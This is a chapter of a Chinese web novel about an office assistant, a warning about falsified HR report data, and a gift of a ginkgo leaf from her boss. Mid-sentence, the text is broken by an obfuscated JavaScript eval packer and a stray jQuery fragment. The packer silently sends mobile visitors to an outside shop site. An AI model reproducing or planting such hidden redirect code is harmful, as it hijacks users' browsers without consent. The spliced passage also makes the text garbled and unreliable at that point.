华与大厦坐落于融新区的核心地带,该区汇聚了许多金融和高新企业,周围环境优美。大厦东侧毗邻环湖,西侧有一处公园。公园面积不大,但里面风景雅致,还有几条健身步道,因此成了附近上班族午间散步、小憩的热门去处。
公司中午有近两个小时的午休,有时中午没什么事,白雪偶尔也会下来走走。但她近期很少去那个人气颇高的公园,里面熟人面孔太多,有时遇到了,难免会被同事拉住闲聊几句,若有若无地打听点老板的动态。她向来嘴紧,也懂得言多必失的道理,于是后来更愿意绕着大楼周边的园区小径独自散步,图个清静。
一天中午,她正独自走着,身后忽然响起一阵脚步声。不等她回头,一道轻柔的嗓音便从斜后方传来。
“白雪”
她扭头一看,叫她的正是人力资源部的方圆。
她来华与集团后第一个加班的晚上,在电梯里遇见的就是这个女孩。后来因为工作交集,两人渐渐熟悉起来,虽谈不上深交,但白雪一直对她印象很好。偶尔在楼道或餐厅遇见,也会聊上两句。
白雪冲她笑了笑:“方圆,你也来散步?”
方圆点了点头:“在食堂好久都没见到你了,你最近挺忙的吧?是不是总在加班?”
白雪:“三季度末就是比较忙,不过今天还算好点,能下来透透气。”
方圆:“下周一的季度汇报,你整理的怎么样了?”
“差不多了”白雪知道人力资源部那几位每次下来遛弯,都是成群结队的,好奇地问:“你今天怎么没跟她们去公园?”
方圆:“因为我一会还要上去加会班,所以就打算走一小圈。”
白雪:“哦,这样……”
“白雪”方圆想了想,斟酌着开口:“季度汇报的数据,尤其是我们部门的,一定要多检查一下。”
看到了白雪眼中的疑惑,方圆略显紧张地解释:“因为我们部门最近也挺忙的,我主要是怕她们别弄错了,没别的意思。不光是我们部门的,其他部门的也是,多检查检查,肯定没坏处。”
白雪似乎明白了什么,点了点头:“嗯,知道了,谢谢你,方圆!”
“那我先回去了。”方圆冲她摆了摆手。
白雪:“好”
她走了两步,再次转了过来:“你是不是快转正了?”
白雪:“是啊,你还记得呢~”
方圆:“加油,希望转正一切顺利。”
白雪:“谢谢!”
她独自一人沿着小路继续向前,前方是一片银杏树,树上的银杏叶已经是一片金黄。风吹过时,金灿灿的叶子簌簌飘落。
这时她注意到,树林里还有一个人。
她走上前仔细一看,是季明希。
他怎么在这儿?
她好奇地走到他身后,打了个招呼:“季总,好巧,你也来散步?”
季明希对于她的到来似乎并没有感到意外,他仰着头,望着头顶几棵通体金黄的银杏树,不知在想些什么。
“下来走走。”他声音很轻,回答着她刚才的问题。
“哦”白雪下意识地喃喃:“很少见您下来走走。”
这时,一阵风袭来,纷纷扬扬落下的银杏叶宛若翩跹飞舞的蝴蝶。
季明希伸出手,恰好有一片落在了他的掌心。
白雪见他将银杏叶举起,对着阳光,忍不住好奇:“您很喜欢银杏叶吗?”
小时候,我母亲很喜欢收集银杏叶。她跟我说,银杏树属于“雌雄异株”,这种树并不常见,需要两棵树相伴才能开花结果,就像一生一世的两个人。当年我父亲就是站在一棵银杏树下向我母亲求的婚。后来,每到秋天,我母亲就会收集几片好看的叶子带回家,压到本子里风干,当做标本保存起来。”
白雪以前只知道,银杏树的生命力很顽强,但并不清楚它还有这层深意。
“我们家以前院子里种过一棵银杏树,有一年冬天雪下的特别大,同期种的小树苗全都死了,我以为它活不冬天,没想到第二年春天它竟然抽新枝了。”
她忽然有些惋惜,当年和阿爷阿奶亲手种下的那棵银杏树苗,它抵抗住了冬日里的寒风和大雪,却没能逃脱自己的命运,在修路的时候被人连根拔起,也不知最后被扔倒了何处。
“手伸出来。”
“啊?”
白雪不明所以,但还是跟着照做,缓缓伸出了手。
只见他将那片漂亮的银杏树叶放入她的掌心:“送你”
送……一片叶子?
正当她一脸疑惑时,季明希的电话响起,白雪识趣地小声对他说:“季总,那我先回公司了。”
出了电梯回到工位上,她小心翼翼地从口袋里将那片银杏叶取出,指尖轻轻拂过叶片的脉络,端详了好一会,才找出一本厚实的书,将它平整地夹进书页中。
中午方圆的叮嘱浮上心头,她随即从堆积的资料里翻出那份人事部季度汇总报告。
其实早在核对数据时,她就发现了几处不对劲的地方。当时她还特意找许晏黎确认过,可对方言之凿凿,一口咬定数据没有问题。
那一刻,她心里便隐隐有了答案。
晚上,席文约白雪吃饭,两人自从上次在云陵分开,这还是第一次见。自从经历了那次山洞被困之后,席文仿佛脱胎换骨一下子变了一个样子,不再没心没肺地当她的小公主,像是突然顿悟般,开始思考人生的意义。
先前提不起兴趣的家族酒店生意,这次回去后,她竟主动提出来想要从公司基层做起,慢慢学习酒店的运营。她忽然意识到,父母都变老了,尤其是父亲,以前她总觉得就算天塌下来,也有父亲顶着,这次回来,她注意到了父亲两鬓的白发。
小时候她是父母手心里的掌中宝,现在她长大了,也希望有一天能成为他们的靠山。
席文的变化还不仅于此,以前她总是姗姗来迟的那位,今天既然比白雪还早到,她知道自己的小缺点比较多,这次也是下决心从点滴做起,让周围人看到她的蜕变。白雪也替她开心,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873493|208846||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
次特殊的经历,或许就是人生新篇章的一个起点。
“最近在酒店忙不忙?”
“忙啊,每天都有干不完的活,累的我是一到家倒头就睡,不过累归累,我觉得收获还是挺多的。”
“你呀,也别光顾着埋头死干,回头再把身体给累垮了。另外,工作不能蛮干,要多复盘多总结,尤其是要带着一双发现问题的眼睛。你未来可是酒店的接班人,想要了解清楚酒店的运营,还要……”
“行行行……”席文立刻做了一个打住的手势:“你怎么说起话来跟我爸一样,满口都是大道理……我最近道理可是没少听,你就不用再跟我说一遍了。”
白雪撇了撇嘴:“还不是为了你好。”
“我知道你是为了我好,等实际遇到问题你再给我说吧。现在你说的这些,我只会左耳进右耳出。”
“好吧~”
席文喝了口奶茶,说:“对了,我妈给我介绍了一个富二代,据说家庭条件特别好,人长得也很帅,我准备去见见……”
白雪有些吃惊:“你不是最反感相亲,一向向往自由恋爱吗?”
“嗨,我这段时间梳理了一下谈过的这几段恋爱,我觉得我眼光不太行,遇到的都挺渣的。既然都渣,那还不如听他们的一回,至少知根知底。”
正说着,白雪突然注意到对面靠墙的一个位置,有一个熟悉的身影。
“那次在山洞里,我就想明白了,如果能活着回去,我一定好好听爸妈的,不再跟他们对着干了。他们让我干嘛我就干嘛,毕竟他们就我一个女儿,肯定也都是为了我好……”
席文说完,见对方半天没有回应,抬眼一看才发现,白雪的目光正紧紧盯着一处,显然,压根没有在听她说什么。
她循着那道视线回头望了望,身后既没有亮眼的帅哥,也没有相熟的面孔,顿时有些不爽:“小雪,你在看什么?我跟你说了半天,你有没有在听?”
白雪的视线依旧死死锁着对面那一桌,回应道:“听着呢,你以后不再跟父母对着干了,让你干嘛就干嘛,做个好女儿……”
“……”席文嘟着嘴,语气依旧不满:“可你这样不看着我说话,让我觉得你根本就没……”
“嘘……”
这时白雪做了一个闭嘴的手势,拿起手机,悄默地拍摄。
席文算是没脾气了,大口喝着奶茶,有些无聊地刷起手机。
当听见对方把手机扣在桌子上的声音,头也没抬地问:“福尔摩斯忙完了?”
“嗯”紧接着下一秒,她刚一抬头就见白雪背上了挎包,一副要走的架势。
“你这是要干嘛?”席文一头雾水:“菜马上就要上了……”
白雪小声道:“我有事先走了,你替我吃吧!”
“……”
说罢,她便悄然起身,尾随一位刚刚离座的男子,一路保持着安全的距离。在穿过数条街道后,直到那个人走进一栋大楼前。她抬头望着楼顶处几个醒目的大字。
怪不得眼熟……